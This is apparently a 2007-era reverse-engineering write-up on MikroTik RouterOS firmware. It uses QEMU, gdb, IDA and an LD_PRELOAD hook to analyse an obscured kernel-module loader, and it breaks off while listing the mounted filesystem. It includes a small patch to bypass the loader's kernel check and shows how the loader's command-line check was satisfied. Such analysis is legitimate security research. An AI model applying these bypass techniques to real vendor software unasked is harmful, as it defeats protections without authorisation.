So, it appears it's used a bit to set it up. Being the somewhat lazy type, it would be easy enough to write a dynamic library to modify the .text segment to insert a hook. The mechanisms used for this is discussed in a paper I wrote available here.

The hook code aim is simple, which is to dump the applicable information sent to init_module. It also appears that the init_module function declaration changes between 2.4 and 2.6 kernel versions:

2.4:
 *`int init_module(const char *name, struct module *image);`
.2.6:
 * `long sys_init_module (void *umod, unsigned long len, const char *uargs);`

The strace output above is for 2.6, not 2.4. After locating a suitable 2.4 init_module man page, we see that the second parameter is a pointer to a structure:

The module image begins with a module structure and is followed by code and data as appropriate.  The module structure is defined as follows:

struct module {
  unsigned long         size_of_struct;
  struct module        *next;
  const char           *name;
  unsigned long         size;
  long                  usecount;
  unsigned long         flags;
  unsigned int          nsyms;
  unsigned int          ndeps;
  struct module_symbol *syms;
  struct module_ref    *deps;
  struct module_ref    *refs;
  int                 (*init)(void);
  void                (*cleanup)(void);
  const struct exception_table_entry *ex_table_start;
  const struct exception_table_entry *ex_table_end;
#ifdef __alpha__
  unsigned long gp;
#endif
};

At least the required information is available to make it easier. After writing the required the code (which is available here)

Running our hooking library code (which is available , we get:

[box] $ LD_LIBRARY_PATH=/lib_mikro LD_PRELOAD=/tmp/hook-loader.so ./loader
forked
creating loader
--> In an int3 handler
--> Create module return address is 0xc8831000
--> In an int3 handler
--> working our magic for qwink

Matching the dumped header information with the struct module output, we get:

[box] $ xxd /tmp/module_header
0000000: 3c00 0000 0000 0000 9015 83c8 9605 0000  <...............
0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000020: 0000 0000 0000 0000 0000 0000 4010 83c8  ............@...
0000030: 0000 0000 0000 0000 0000 0000            ............
... matching up with the above struct module ...
size_of_struct: 0x0000003c      (0x0000)
next: NULL                      (0x0004)
name: 0xc8831590                (0x0008)
size: 0x00000596                (0x000c)
usecount: NULL                  (0x0010)
flags: 0                        (0x0014)
nsyms: 0                        (0x0018)
ndeps: 0                        (0x001c)
syms: NULL                      (0x0020)
deps: NULL                      (0x0024)
refs: NULL                      (0x0028)
init: 0xc8831040                (0x002c)
cleanup: NULL                   (0x0030)
ex_table_start: NULL            (0x0034)
ex_table_end: NULL              (0x0038)

So, our output in /tmp/module_text starts at 0xc883103c, and is 1430 bytes long. Disassembling the binary dump in /tmp/module_text, looking for the init function pointer that gets called:

[box] $ ndisasm -b 32 -o $((0xc883103c)) /tmp/module_text
...
C8831040  83EC18            sub esp,byte +0x18
C8831043  53                push ebx
C8831044  E8F7040000        call 0xc8831540
C8831049  8D5818            lea ebx,[eax+0x18]
C883104C  C7430400000000    mov dword [ebx+0x4],0x0
C8831053  C7401800000000    mov dword [eax+0x18],0x0
...

We can combine the gdb debugging functionality in qemu in conjunction with a disassembler such as IDA Pro , we can use the gdb stub functionality of qemu, we can disassemble and follow what is happening when the init code is executed.

Testing our analysis against the init function by setting break points on:

Just to make sure we catch everything.. I don't expect 0xc053ffd0 to be hit, but it is a valid kernel address :)

Testing the theory out under gdb/qemu doesn't pan out how it was expected to be:

(gdb) break *0xc053ffd0
Breakpoint 4 at 0xc053ffd0
(gdb) break *0xc8831040
Breakpoint 5 at 0xc8831040
(gdb) c
Continuing.

... Run the loader program ...

Breakpoint 5, 0xc8831040 in ?? ()
(gdb) x/10i $eip
0xc8831040:     sub    $0x18,%esp
0xc8831043:     push   %ebx
0xc8831044:     call   0xc8831540
0xc8831049:     lea    0x18(%eax),%ebx
0xc883104c:     movl   $0x0,0x4(%ebx)
0xc8831053:     movl   $0x0,0x18(%eax)
0xc883105a:     mov    0xc0252024,%eax
0xc883105f:     inc    %eax
0xc8831060:     mov    %eax,0x8(%ebx)
0xc8831063:     call   0xc8831090
(gdb) i r ebx
ebx            0xc8831000       -930934784

Now that we're able to trace this code, we should work out what information would be desirable to make this process far easier:

Another couple of things we could try to help our reversing efforts:

[box] $ cat /proc/version
Linux version 2.4.31 (build@builder2) (gcc version 2.95.4 20011002 (Debian prerelease)) #1 Fri Aug 10 12:43:55 EEST 2007

After some researching, it was determined that the gcc version 2.95.4 20011002 is available if a default install of Debian 3.0r1 is installed. I only needed cd1 and cd2 from the set of cd's to install the required tools.

After performing a compile of the default kernel configuration shipped in 2.4.31 sans PCMCIA support, I used the 2pelf tool available here to generate the signatures off the .o files in the linux tree, then used the IDA tool sigmake to generate the signature information. (I love bash scripting to automate these tasks).

If needed, the signatures could be regenerated several times with different compilation parameters in order to increase success of signature matching.

Since it would be helpful to have a full kernel text image in IDA Pro, we can use the memsave function in QEMU to generate an appropriate memory dump. To get the most useful memory dump, I'll generate the dump when qemu has hit the breakpoint on the "qwink" init function.

The vmlinux file generated when I compiled the 2.4.31 kernel indicated that the kernel got loaded at 0xc0100000, so we'll dump from there to 0xd0000000… This actually turned out to be a bad idea, as IDA couldn't analyse such large files. After some experimentation and looking at the output of objdump -fp on the compiled vmlinux file, I dumped from 0xc0100000 to 0xc1000000.

(qemu) memsave 3222274048 15728640 d
*pause*
(qemu)

The first number is 0xc0100000 and the second is 0xc1000000 - 0xc0100000.

After dumping the kernel memory to disk, then loading it into IDA, and applying the signatures that was generated before, we see a lot of function names pop up. Sometimes they're correct, sometimes they don't appear to be, sometimes they don't find functions we find interesting, but in general they save us a lot of work :)

The init code is as follows from IDA:

seg001:C8831040 module_init_code:
seg001:C8831040                 sub     esp, 18h
seg001:C8831043                 push    ebx
seg001:C8831044                 call    GET_C8831550    ; eax = 0xc8831550
seg001:C8831049                 lea     ebx, [eax+18h]  ; ebx = eax + 0x18 = 0xc8831568, this is struct timer_list data
seg001:C883104C                 mov     dword ptr [ebx+4], 0 ; sets next pointer to null
seg001:C8831053                 mov     dword ptr [eax+18h], 0 ; sets prev pointer to null ?
seg001:C883105A                 mov     eax, ds:jiffies
seg001:C883105F                 inc     eax             ; schedules the code to be executed in one jiffie
seg001:C8831060                 mov     [ebx+8], eax    ; sets the scheduler expires
seg001:C8831063                 call    GET_C88310a0
seg001:C8831068                 mov     [ebx+10h], eax  ; function pointer used (execd_by_timer) below
seg001:C883106B                 mov     eax, 0FFFFE000h
seg001:C8831070                 and     eax, esp        ; get current
seg001:C8831072                 mov     [ebx+0Ch], eax  ; data pointer for call back. current task
seg001:C8831075                 add     esp, -0Ch       ; no idea what it's doing here. possibly aligning stack to paragraph boundary?
seg001:C8831078                 mov     eax, offset add_timer
seg001:C883107D                 push    ebx             ; push offset to struct timer_list data
seg001:C883107E                 call    eax ; add_timer
seg001:C8831080                 xor     eax, eax        ; return NULL
seg001:C8831082                 add     esp, 10h
seg001:C8831085                 pop     ebx
seg001:C8831086                 add     esp, 18h
seg001:C8831089                 retn

Having a look at the IDA loader binary, we see:

Example: Loader: load_module_into_kernel
.text:08053DA8 load_module_into_kernel proc near       ; CODE XREF: sub_804DD20+25p
.text:08053DA8                                         ; sub_804F572+10Dp ...
.text:08053DA8
.text:08053DA8 constructed_image= dword ptr -24h
.text:08053DA8 roundup_size    = dword ptr -20h
.text:08053DA8 start_of_module_data= dword ptr -18h
.text:08053DA8 total_size      = dword ptr -14h
.text:08053DA8 kernel_modified_variable= dword ptr -10h
.text:08053DA8 var_C           = dword ptr -0Ch
.text:08053DA8 tv_usecs_challenge= dword ptr  8
.text:08053DA8
.text:08053DA8                 push    ebp
.text:08053DA9                 cld                     ; clear direction flag
.text:08053DAA                 mov     ebp, esp
.text:08053DAC                 push    edi
.text:08053DAD                 xor     eax, eax
.text:08053DAF                 push    esi
.text:08053DB0                 or      ecx, 0FFFFFFFFh
.text:08053DB3                 push    ebx
.text:08053DB4                 sub     esp, 18h
.text:08053DB7                 mov     [ebp+kernel_modified_variable], 0 ; initialise the variable written to by access_process_vm to 0
.text:08053DBE                 mov     edi, module_name
.text:08053DC4                 mov     edx, 10h
.text:08053DC9                 repne scasb
.text:08053DCB                 mov     ebx, ecx
.text:08053DCD                 mov     eax, 3Ch
.text:08053DD2                 not     ebx             ; embedded strlen()
.text:08053DD4                 call    sub_8053D95     ; calcuate if additional space is needed in a memory copy later on
.text:08053DD9                 mov     [ebp+roundup_size], eax ; save the calcutation for later use
.text:08053DDC                 lea     edx, [eax+ebx+1360] ; calcuate total size needed, + 1360
.text:08053DE3                 push    edx             ; size
.text:08053DE4                 mov     [ebp+total_size], edx
.text:08053DE7                 call    _malloc         ; allocate the required space
.text:08053DEC                 mov     [ebp+constructed_image], eax ; save the results of malloc()
.text:08053DEF                 mov     ecx, [ebp+total_size]
.text:08053DF2                 cld                     ; clear direction flag
.text:08053DF3                 mov     edi, eax
.text:08053DF5                 xor     eax, eax        ; write nulls
.text:08053DF7                 rep stosb               ; embedded memset
.text:08053DF9                 push    510h            ; size_t
.text:08053DFE                 mov     edi, [ebp+constructed_image] ; get the allocated memory
.text:08053E01                 add     edi, [ebp+roundup_size] ; move past the module structure
.text:08053E04                 push    offset module_init_code ; void *
.text:08053E09                 lea     edx, [edi+510h] ; edx now points PAST the module_init_code and all that
.text:08053E0F                 push    edi             ; void *
.text:08053E10                 lea     esi, [edi+1360] ; esi = module name pointer
.text:08053E16                 mov     [ebp+start_of_module_data], edx
.text:08053E19                 call    _memcpy         ; copy the module_init_code (of length 0x510)
.text:08053E19                                         ; to the allocated memory
.text:08053E1E                 push    ebx             ; size_t. this is calcuated previously from strlen(module_name)
.text:08053E1F                 push    module_name     ; void *
.text:08053E25                 push    esi             ; points to module name
.text:08053E26                 call    _memcpy         ; setup module name
.text:08053E2B                 push    [ebp+total_size] ; int
.text:08053E2E                 push    module_name     ; name
.text:08053E34                 call    create_module
.text:08053E39                 add     esp, 24h
.text:08053E3C                 cmp     eax, 0FFFFFFFFh ; eax contains base of the allocated kernel memory
.text:08053E3F                 jnz     short loc_8053E48
.text:08053E41                 push    offset aFailedToCreate ; "failed to create module"
.text:08053E46                 jmp     short loc_8053EC0
.text:08053E48 ; ---------------------------------------------------------------------------
.text:08053E48
.text:08053E48 loc_8053E48:                            ; CODE XREF: load_module_into_kernel+97j
.text:08053E48                 mov     ecx, [ebp+constructed_image]
.text:08053E4B                 mov     dword ptr [ecx], 3Ch ; set size of module header to 0x3c
.text:08053E51                 mov     ecx, [ebp+roundup_size]
.text:08053E54                 lea     edx, [eax+ecx]  ; edx = start of module code, in kernel space
.text:08053E57                 mov     ecx, [ebp+constructed_image]
.text:08053E5A                 lea     eax, [edx+1360] ; eax = end of module code, start of "qwink"
.text:08053E60                 mov     [ecx+2Ch], edx  ; set module size
.text:08053E63                 mov     edx, [ebp+tv_usecs_challenge] ; arg_0 = tv.tv_usecs ?
.text:08053E66                 mov     [ecx+8], eax    ; write the name pointer, points to end of module, "qwink"
.text:08053E69                 mov     eax, [ebp+total_size]
.text:08053E6C                 mov     [edi+510h], edx ; write challenge to kernel image (data section)
.text:08053E72                 mov     [ecx+0Ch], eax  ; write size of complete module to header
.text:08053E75                 mov     ecx, [ebp+start_of_module_data]
.text:08053E78                 mov     eax, kernel_ptr_c0105000
.text:08053E7D                 mov     [ecx+4], eax
.text:08053E80                 mov     eax, dword_8056A68 ; some mystical value
.text:08053E85                 mov     [ecx+8], eax
.text:08053E88                 mov     eax, dword_8056A6C ; 0x3f
.text:08053E8D                 mov     [ecx+0Ch], eax
.text:08053E90                 lea     eax, [ebp+kernel_modified_variable] ; get the address of the variable
.text:08053E93                 mov     [ecx+10h], eax  ; variable that is going to be written to
.text:08053E96                 call    alloc_rc4_t
.text:08053E9B                 push    [ebp+start_of_module_data]
.text:08053E9E                 mov     esi, eax
.text:08053EA0                 push    eax
.text:08053EA1                 call    rc4_init_key_encrypt ; (rc4_t, start_of_module_data)
.text:08053EA6                 push    [ebp+constructed_image] ; image
.text:08053EA9                 push    module_name     ; name
.text:08053EAF                 call    init_module
.text:08053EB4                 add     esp, 10h
.text:08053EB7                 test    eax, eax
.text:08053EB9                 jz      short loc_8053EC9
.text:08053EBB                 push    offset aFailedToLoadMo ; "failed to load module"
.text:08053EC0
.text:08053EC0 loc_8053EC0:                            ; CODE XREF: load_module_into_kernel+9Ej
.text:08053EC0                 call    _puts
.text:08053EC5                 xor     eax, eax
.text:08053EC7                 jmp     short loc_8053EFE
.text:08053EC9 ; ---------------------------------------------------------------------------
.text:08053EC9
.text:08053EC9 loc_8053EC9:                            ; CODE XREF: load_module_into_kernel+111j
.text:08053EC9                                         ; load_module_into_kernel+126_j
.text:08053EC9                 mov     eax, [ebp+kernel_modified_variable]
.text:08053ECC                 test    eax, eax
.text:08053ECE                 jz      short loc_8053EC9 ; while the variable hasn't been modified, loop. Ugh.
.text:08053ED0                 push    offset unk_8056960 ; not sure yet
.text:08053ED5                 xor     ebx, ebx
.text:08053ED7                 push    [ebp+tv_usecs_challenge] ; challenge
.text:08053EDA                 push    esi             ; rc4 structure, returned from rc4_init
.text:08053EDB                 call    check_challenge_response
.text:08053EE0                 add     esp, 0Ch
.text:08053EE3                 mov     edx, [ebp+kernel_modified_variable]
.text:08053EE6                 push    module_name     ; name
.text:08053EEC                 cmp     edx, eax        ; result from check_challenge_response
.text:08053EEE                 setz    bl              ; set return code if they're the same
.text:08053EF1                 call    delete_module
.text:08053EF6                 push    esi
.text:08053EF7                 call    free_rc4_t_tailcall
.text:08053EFC                 mov     eax, ebx        ; set return value (based on check_challenge_response)
.text:08053EFE
.text:08053EFE loc_8053EFE:                            ; CODE XREF: load_module_into_kernel+11Fj
.text:08053EFE                 lea     esp, [ebp-0Ch]
.text:08053F01                 pop     ebx
.text:08053F02                 pop     esi
.text:08053F03                 pop     edi
.text:08053F04                 pop     ebp
.text:08053F05                 retn
.text:08053F05 load_module_into_kernel endp
.text:08053F05
Example: Loader: check_challenge_response
.text:08053CEA check_challenge_response proc near      ; CODE XREF: load_module_into_kernel+133p
.text:08053CEA
.text:08053CEA local_rc4_structure= dword ptr -14h
.text:08053CEA challenge_copy  = dword ptr -10h
.text:08053CEA var_C           = dword ptr -0Ch
.text:08053CEA rc4_t           = dword ptr  8
.text:08053CEA challenge       = dword ptr  0Ch
.text:08053CEA unknown_data    = dword ptr  10h
.text:08053CEA
.text:08053CEA                 push    ebp
.text:08053CEB                 mov     ebp, esp
.text:08053CED                 push    edi
.text:08053CEE                 push    esi
.text:08053CEF                 xor     esi, esi
.text:08053CF1                 push    ebx
.text:08053CF2                 push    ecx
.text:08053CF3                 push    ecx
.text:08053CF4                 mov     edi, [ebp+rc4_t]
.text:08053CF7                 mov     eax, [ebp+challenge]
.text:08053CFA                 push    edi
.text:08053CFB                 mov     [ebp+challenge_copy], eax
.text:08053CFE                 call    rc4_dup_struct
.text:08053D03                 mov     [ebp+local_rc4_structure], eax ; duplicated structure
.text:08053D06                 mov     eax, [ebp+unknown_data]
.text:08053D09                 push    dword ptr [eax+100h] ; offset in 256 bytes
.text:08053D0F                 push    edi             ; rc4 structure passed in
.text:08053D10                 call    rc4_set_key
.text:08053D15                 add     esp, 0Ch
.text:08053D18
.text:08053D18 loc_8053D18:                            ; CODE XREF: check_challenge_response+91j
.text:08053D18                 push    edi
.text:08053D19                 call    rc4_get_byte
.text:08053D1E                 mov     edx, [ebp+local_rc4_structure]
.text:08053D21                 mov     bl, al          ; gets a byte from the rc4 structure which was passed in (and initialised later on)
.text:08053D23                 mov     ecx, esi        ; esi is a loop counter
.text:08053D25                 and     ecx, 3          ; index into key material
.text:08053D28                 movzx   eax, byte ptr [edx+esi] ; index into the duplicated structure
.text:08053D2C                 mov     edx, [ebp+unknown_data]
.text:08053D2F                 movzx   eax, byte ptr [edx+eax] ; get a byte of the unknown data
.text:08053D33                 pop     edx             ; edx = local rc4 structure
.text:08053D34                 mov     edx, ebx        ; get the byte that was generated via rc4_get_byte
.text:08053D36                 and     edx, 3          ; perform a switch on the last 4 bytes
.text:08053D39                 cmp     edx, 1
.text:08053D3C                 jz      short loc_8053D5A
.text:08053D3E                 jg      short loc_8053D46
.text:08053D40                 test    edx, edx
.text:08053D42                 jz      short loc_8053D52
.text:08053D44                 jmp     short loc_8053D74
.text:08053D46 ; ---------------------------------------------------------------------------
.text:08053D46
.text:08053D46 loc_8053D46:                            ; CODE XREF: check_challenge_response+54j
.text:08053D46                 cmp     edx, 2
.text:08053D49                 jz      short loc_8053D62
.text:08053D4B                 cmp     edx, 3
.text:08053D4E                 jz      short loc_8053D6A
.text:08053D50                 jmp     short loc_8053D74
.text:08053D52 ; ---------------------------------------------------------------------------
.text:08053D52
.text:08053D52 loc_8053D52:                            ; CODE XREF: check_challenge_response+58j
.text:08053D52                 xor     al, bl
.text:08053D54                 add     byte ptr [ebp+ecx+challenge_copy], al
.text:08053D58                 jmp     short loc_8053D74
.text:08053D5A ; ---------------------------------------------------------------------------
.text:08053D5A
.text:08053D5A loc_8053D5A:                            ; CODE XREF: check_challenge_response+52j
.text:08053D5A                 add     al, bl
.text:08053D5C                 xor     byte ptr [ebp+ecx+challenge_copy], al
.text:08053D60                 jmp     short loc_8053D74
.text:08053D62 ; ---------------------------------------------------------------------------
.text:08053D62
.text:08053D62 loc_8053D62:                            ; CODE XREF: check_challenge_response+5Fj
.text:08053D62                 xor     bl, byte ptr [ebp+ecx+challenge_copy]
.text:08053D66                 add     al, bl
.text:08053D68                 jmp     short loc_8053D70
.text:08053D6A ; ---------------------------------------------------------------------------
.text:08053D6A
.text:08053D6A loc_8053D6A:                            ; CODE XREF: check_challenge_response+64j
.text:08053D6A                 add     al, byte ptr [ebp+ecx+challenge_copy]
.text:08053D6E                 xor     al, bl
.text:08053D70
.text:08053D70 loc_8053D70:                            ; CODE XREF: check_challenge_response+7Ej
.text:08053D70                 mov     byte ptr [ebp+ecx+challenge_copy], al
.text:08053D74
.text:08053D74 loc_8053D74:                            ; CODE XREF: check_challenge_response+5Aj
.text:08053D74                                         ; check_challenge_response+66j ...
.text:08053D74                 inc     esi
.text:08053D75                 cmp     esi, 100h
.text:08053D7B                 jnz     short loc_8053D18
.text:08053D7D                 push    [ebp+local_rc4_structure]
.text:08053D80                 call    free_rc4_t_tailcall
.text:08053D85                 mov     eax, [ebp+challenge_copy]
.text:08053D88                 lea     esp, [ebp-0Ch]
.text:08053D8B                 pop     ebx
.text:08053D8C                 or      eax, 80000000h  ; ret |= 0x80000000l
.text:08053D91                 pop     esi
.text:08053D92                 pop     edi
.text:08053D93                 pop     ebp
.text:08053D94                 retn
.text:08053D94 check_challenge_response endp
.text:08053D94
.text:08053D95
.text:08053D95 ; ??????????????? S U B R O U T I N E ???????????????????????????????????????
.text:08053D95
.text:08053D95 ; Attributes: bp-based frame
.text:08053D95
.text:08053D95 sub_8053D95     proc near               ; CODE XREF: load_module_into_kernel+2Cp
.text:08053D95                 push    ebp
.text:08053D96                 dec     edx             ; 16 -> 15
.text:08053D97                 test    eax, edx        ; eax = 0x3c
.text:08053D99                 mov     ebp, esp
.text:08053D9B                 mov     ecx, eax
.text:08053D9D                 jz      short loc_8053DA4
.text:08053D9F                 or      edx, eax
.text:08053DA1                 lea     ecx, [edx+1]
.text:08053DA4
.text:08053DA4 loc_8053DA4:                            ; CODE XREF: sub_8053D95+8j
.text:08053DA4                 pop     ebp
.text:08053DA5                 mov     eax, ecx
.text:08053DA7                 retn
.text:08053DA7 sub_8053D95     endp
.text:08053DA7
.text:08053DA8
.text:08053DA8 ; ??????????????? S U B R O U T I N E ???????????????????????????????????????
.text:08053DA8
.text:08053DA8 ; Attributes: bp-based frame
.text:08053DA8
Example: Loader: rc4_init_key_encrypt
.text:08053BFD rc4_init_key_encrypt proc near          ; CODE XREF: load_module_into_kernel+F9p
.text:08053BFD
.text:08053BFD var_8           = dword ptr -8
.text:08053BFD rc4_t           = dword ptr  8
.text:08053BFD start_of_module_data= dword ptr  0Ch
.text:08053BFD
.text:08053BFD                 push    ebp
.text:08053BFE                 mov     ebp, esp
.text:08053C00                 push    esi
.text:08053C01                 mov     esi, [ebp+rc4_t]
.text:08053C04                 push    ebx
.text:08053C05                 mov     ebx, [ebp+start_of_module_data]
.text:08053C08                 push    esi
.text:08053C09                 call    init_rc4_t
.text:08053C0E                 push    dword ptr [ebx] ; push the encryption key
.text:08053C10                 add     ebx, 4          ; move the data along
.text:08053C13                 push    esi             ; push the rc4_t context
.text:08053C14                 call    rc4_set_key
.text:08053C19                 push    1000            ; length
.text:08053C1E                 push    esi             ; rc4 structure
.text:08053C1F                 call    rc4_prevent_weak_bytes
.text:08053C24                 push    10h             ; size
.text:08053C26                 push    ebx             ; data
.text:08053C27                 push    esi             ; rc4 structure
.text:08053C28                 call    rc4_crypt       ; encrypts 16 bytes that go to the kernel module
.text:08053C2D                 lea     esp, [ebp-8]
.text:08053C30                 pop     ebx
.text:08053C31                 pop     esi
.text:08053C32                 pop     ebp
.text:08053C33                 retn
.text:08053C33 rc4_init_key_encrypt endp

In general, the feeling is that the loader binary tries to ensure it's running on the same kernel the module was written for, because it is using hard coded offsets to the kernel data. I was disappointed that this module the loader binary inserted didn't appear to be malicious.

To bypass this somewhat artifical restriction the binary imposes is somewhat easily done. The previous code written to hook the create_module and init_module code, can be modified to:

xor eax, eax
inc eax
ret

to avoid this restriction. I haven't tested this, but it should work :p

Continuing the analysis of loader

Before we can continue the analysis of the fileman binary, we still need to get the loader binary running. Running a strace reveals the current issue with loader:

[box] # LD_LIBRARY_PATH=/lib_mikro strace -f ./loader
execve("./loader", ["./loader"], [/* 15 vars */]) = 0
uname({sys="Linux", node="debian", ...}) = 0
...
[pid  1727] rt_sigaction(SIGSEGV, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x400774c0}, NULL, 8) = 0
[pid  1727] rt_sigaction(SIGILL, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x400774c0}, NULL, 8) = 0
[pid  1727] rt_sigaction(SIGABRT, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x400774c0}, NULL, 8) = 0
[pid  1727] rt_sigaction(SIGBUS, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x400774c0}, NULL, 8) = 0
[pid  1727] rt_sigaction(SIGFPE, {0x4002c8ca, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x400774c0}, NULL, 8) = 0
[pid  1727] gettimeofday({1189098093, 745332}, NULL) = 0
[pid  1727] create_module("qwink", 1430) = 0xc8833000
[pid  1727] init_module(0x80553fc, 134587376, umovestr: Input/output error
0x7c) = 0
[pid  1726] waitpid(1727, Process 1726 suspended
 <unfinished ...>
[pid  1727] delete_module("qwink")      = 0
...
[pid  1727] open("/dev/panics", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid  1727] open("/proc/cmdline", O_RDONLY) = 3
[pid  1727] fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
[pid  1727] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40170000
[pid  1727] read(3, "root=/dev/hda1 ro single\n", 4096) = 25
[pid  1727] close(3)                    = 0
[pid  1727] munmap(0x40170000, 4096)    = 0
[pid  1727] exit_group(1)               = ?

It appears some functionality that is provided elsewhere needs to be initialised first.

Having a look in IDA at loader (cross referencing on /proc/cmdline), indicates that the /proc/cmdline must contain MBR= followed by a pattern that matches %x.

.text:0804DBD4                 push    offset name     ; "/proc/cmdline"
.text:0804DBD9                 call    _fopen          ; open the file, read only
.text:0804DBDE                 pop     ebx
.text:0804DBDF                 mov     esi, eax
.text:0804DBE1                 test    esi, esi
.text:0804DBE3                 pop     eax
.text:0804DBE4                 jz      short loc_804DC34 ; if opening the file failed, jump down to exit(1)
.text:0804DBE6                 push    esi             ; FILE *
.text:0804DBE7                 lea     ebx, [ebp+var_408]
.text:0804DBED                 push    1024            ; int
.text:0804DBF2                 push    ebx             ; char *
.text:0804DBF3                 call    _fgets          ; read in 0x400 bytes
.text:0804DBF8                 push    esi             ; FILE *
.text:0804DBF9                 call    _fclose
.text:0804DBFE                 push    offset aMbr     ; "MBR="
.text:0804DC03                 push    ebx             ; char *
.text:0804DC04                 call    _strstr         ; look for MBR= in the string
.text:0804DC09                 add     esp, 18h
.text:0804DC0C                 test    eax, eax
.text:0804DC0E                 mov     edx, eax
.text:0804DC10                 jz      short loc_804DC34 ; don't find it, exit out
.text:0804DC12                 mov     [ebp+var_40C], 0 ; initialse the number read in
.text:0804DC1C                 lea     eax, [ebp+var_40C] ; load the address in
.text:0804DC22                 push    eax
.text:0804DC23                 push    offset aMbrX    ; "MBR=%x"
.text:0804DC28                 push    edx             ; char *
.text:0804DC29                 call    _sscanf         ; parse the string
.text:0804DC2E                 add     esp, 0Ch
.text:0804DC31                 dec     eax
.text:0804DC32                 jz      short loc_804DC3B
.text:0804DC34
.text:0804DC34 loc_804DC34:                            ; CODE XREF: sub_804DBC4+20j
.text:0804DC34                                         ; sub_804DBC4+4Cj
.text:0804DC34                 push    1               ; status
.text:0804DC36                 call    _exit
.text:0804DC3B ; ---------------------------------------------

Looking up information on Master boot records (MBR), indicates that the MBR starts at 0x1BE. However, looking where the code is called, there is a comparision to see if it's above a certain size. Restarting with an updated kernel line with MBR=0, lets the binary run, and listen on a network socket.

Summary

This article has shown usage QEMU with GDB to debug Linux kernel modules, along with static disassembly provided by IDA Pro. It has covered analysing an obscured kernel module that was bound tightly to a specific, vendor, kernel.

MikroTik Router Security Analysis: Insecure Network Protocol

(started 22/8/2007, added 11/10/2007)

The MikroTik Wireless Router is a Linux embedded wireless router, focusing on various functionality such as bandwidth management, Firewalling, VPN server/client, and various other things. As with all embedded linux based software, it is interesting to pull it apart :)

It has been around for a while now… a couple of years ago when I analysed the software / pulling it apart, it had drivers/firmware to turn standard Orinoco wireless cards into an Access Point (which as far as I know isn't possible otherwise, at least not when I was looking at it.)

For the purposes of this article, I am looking at mikrotik-2.9.46.iso (MD5sum: 65aa908dd748ccf72ad9f588613dfe31, SHA1sum: 5e5ed13498db8d9745a701f75e58da3ef6701e58). For the most part, I have used QEMU to emulate the hardware/software environment to install it on. This has several advantages, such as being able to edit the "disk" it's using easily, amongst other things.

Initial observations

After installing MikroTik, strings was ran on the resulting disk image, to see what could be initially noticed.

Inconsistent / random GCC versions used

One of the most amusing things that was noticed, was the various GCC version strings that were in the output:

box $ strings -a mikrotik.img | grep ^GCC: | sort | uniq
GCC: (GNU) 2.7.2.3
GCC: (GNU) 2.95.4 20011002 (Debian prerelease)
GCC: (GNU) 3.0.4
GCC: (GNU) 3.4.6 (Debian 3.4.6-5)
GCC: (GNU) 4.0.3 (Debian 4.0.3-1)
GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
Observations

The 1999 egcs result is most amusing :) Also in the output is a banner for their code, the copyright on the banner is interesting:

  MMM      MMM       KKK                          TTTTTTTTTTT      KKK
  MMMM    MMMM       KKK                          TTTTTTTTTTT      KKK
  MMM MMMM MMM  III  KKK  KKK  RRRRRR     OOOOOO      TTT     III  KKK  KKK
  MMM  MM  MMM  III  KKKKK     RRR  RRR  OOO  OOO     TTT     III  KKKKK
  MMM      MMM  III  KKK KKK   RRRRRR    OOO  OOO     TTT     III  KKK KKK
  MMM      MMM  III  KKK  KKK  RRR  RRR   OOOOOO      TTT     III  KKK  KKK
  MikroTik routerOS V2.4 (c) 1999-2001       http://mikrotik.com/
...
Tip: Read the manual.

Interesting kernel modules

In the strings output was a bunch of filenames, which look interesting, and for further analysis. Output as follows:

ipt_helper.o
ipt_connbytes.o
ipt_length.o
ipt_physdev.o
ipt_ulog.o
ipt_snif.o
ipt_PASSTHR.o
ipt_p2p.o
addrlist.o
ipt_prmark.o
ipt_PRMARK.o
ipt_hsmark.o
logfw.o
trafflow.o
ulog.o
snif.o
logring.o
panics.o`
p2p.o
btest.o
checkmod.o

The addrlist.o, snif.o, logring.o, panics.o, p2p.o, btest.o, checkmod.o don't look familar to me, based on my (somewhat limited) experience with Linux Kernel. We'll look at this further later on and see what's happening.

Interesting file names

Additionally in the strings output, there are some interesting filenames which would be worth following up later on :)

telnet.jpg
winbox.jpg
roteros.dll
00roteros.info
winbox.exe
system.dll
system.info

Exploring the filesystem image

Another thanks to Steven for pointing out how easy it is to mount partitions from disk images using the loopback device.

To get started, the partition table needs to be extracted, so we can calcuate the applicable offset into the disk image that was created when the MikroTik router package was installed in QEMU.

[box] $ /sbin/fdisk -l -u mikrotik.img
last_lba(): I don't know how to handle files with mode 81a4
You must set cylinders.
You can do this from the extra functions menu.

Disk mikrotik.img: 0 MB, 0 bytes
255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes

       Device  Boot     Start         End      Blocks   Id  System
mikrotik.img1   *           1     1044224      522112   83  Linux

So according the above url, we can access the partition via the calcuation start_sector * 512, which is just 512 :) Testing this out, we get:

[box] # mkdir /mnt/mikro
[box] # mount -o loop,offset=512 mikrotik.img /mnt/mikro/
[box] # dmesg | tail -n 6
loop: module loaded
kjournald starting.  Commit interval 5 seconds
EXT3 FS on loop0, internal journal
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
SELinux: initialized (dev loop0, type ext3), uses xattr

Which looks good, so far.

The files that we can see are as follows:

# find .
.
./lost+found
./etc
./etc/lilo.conf
./etc/fstab
./etc/rc.d
./etc/rc.d/run.d
./etc/rc.d/run.d/S02panic
./etc/rc.d/run.d/C90restore
./etc/rc.d/run.d/S08softdog
./etc/rc.d/run.d/S06modules
./etc/rc.d/run.d/S06vlanmodules
./etc/rc.d/run.d/R99wblk
./etc/rc.d/run.d/S02logring
./etc/rc.d/run.d/S10nova
./etc/rc.d/run.d/K90nova
./etc/rc.d/run.d/S01init
./etc/rc.d/run.d/C20nova
./etc/rc.d/run.d/S05syslog
./etc/rc.d/run.d/S06ticker
./etc/rc.d/run.d/C95panic
